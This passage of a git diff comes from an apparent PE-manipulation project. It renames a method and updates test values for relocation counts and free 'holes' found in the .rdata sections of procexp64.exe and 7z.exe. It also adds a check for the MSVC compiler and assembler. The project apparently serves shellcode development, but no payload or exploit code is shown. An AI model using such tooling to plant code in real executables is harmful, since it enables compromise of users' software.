SuperPe(PATH_EXES + "procexp64.exe") - rm = superpe.get_rdata_relocmanager() - self.assertEqual(69, len(rm.intervals)) + rm = superpe.get_rdata_rangemanager() + self.assertEqual(61, len(rm.intervals)) # 0x1ab0 is magic currently (should use find_first_utf16_string_offset() hole = rm.find_hole(20) - self.assertEqual(hole, (1167361, 1173015)) + self.assertEqual(hole, (1174185, 1174591)) def test_largestgap(self): superpe = SuperPe(PATH_EXES + "7z.exe") - rm = superpe.get_rdata_relocmanager() + rm = superpe.get_rdata_rangemanager() start, stop = rm.find_hole(100) - self.assertEqual(393233, start) - self.assertEqual(394295, stop) + self.assertEqual(394513, start) + self.assertEqual(396511, stop) def test_rdata_overwrite(self): diff --git a/tests/test_superpe.py b/tests/test_superpe.py index 244ed47..87979fc 100644 --- a/tests/test_superpe.py +++ b/tests/test_superpe.py @@ -36,7 +36,7 @@ class SuperPeTest(unittest.TestCase): # Relocations base_relocs: List[PeRelocEntry] = superpe.get_base_relocs() - self.assertEqual(len(base_relocs), 2888) + self.assertEqual(len(base_relocs), 2864) base_reloc = base_relocs[0] self.assertEqual(base_reloc.rva, 0x11E618) self.assertEqual(base_reloc.base_rva, 0x11E000) diff --git a/utils.py b/utils.py index ce3ad07..6d0edbb 100644 --- a/utils.py +++ b/utils.py @@ -3,6 +3,7 @@ import os import pathlib import glob import logging +import shutil from config import config from model.defs import * @@ -10,6 +11,20 @@ from model.defs import * logger = logging.getLogger("Utils") +def check_deps(): + cl = config.get("path_cl") + if shutil.which(cl) == None: + logger.error("Missing dependency: " + cl) + logger.error("Start in x64 Native Tools Command Prompt for VS 2022") + exit(1) + + ml = config.get("path_ml64") + if shutil.which(ml) == None: + logger.error("Missing dependency: " + ml) + logger.error("Start in x64 Native Tools Command Prompt for VS 2022") + exit(1) + + def delete_all_files_in_directory(directory_path): files = glob.glob(os.path.join(directory_path, '*')) for file_path in files: diff --git a/web.py b/web.py index 4fbdd9d..eb7774c 100644 --- a/web.py +++ b/web.py @@ -9,10 +9,14 @@ from app.views import views from app.views_project import views_project from app.views_shcdev import views_shcdev from log import setup_logging +from utils import check_deps + if __name__ == "__main__": logging.getLogger('werkzeug').setLevel(logging.ERROR) setup_logging() + check_deps() + parser = argparse.ArgumentParser() parser.add_argument('--listenip', type=str, help='IP to listen on', default="0.0.0.0") parser.add_argument('--listenport', type=int, help='Port to listen on', default=5001)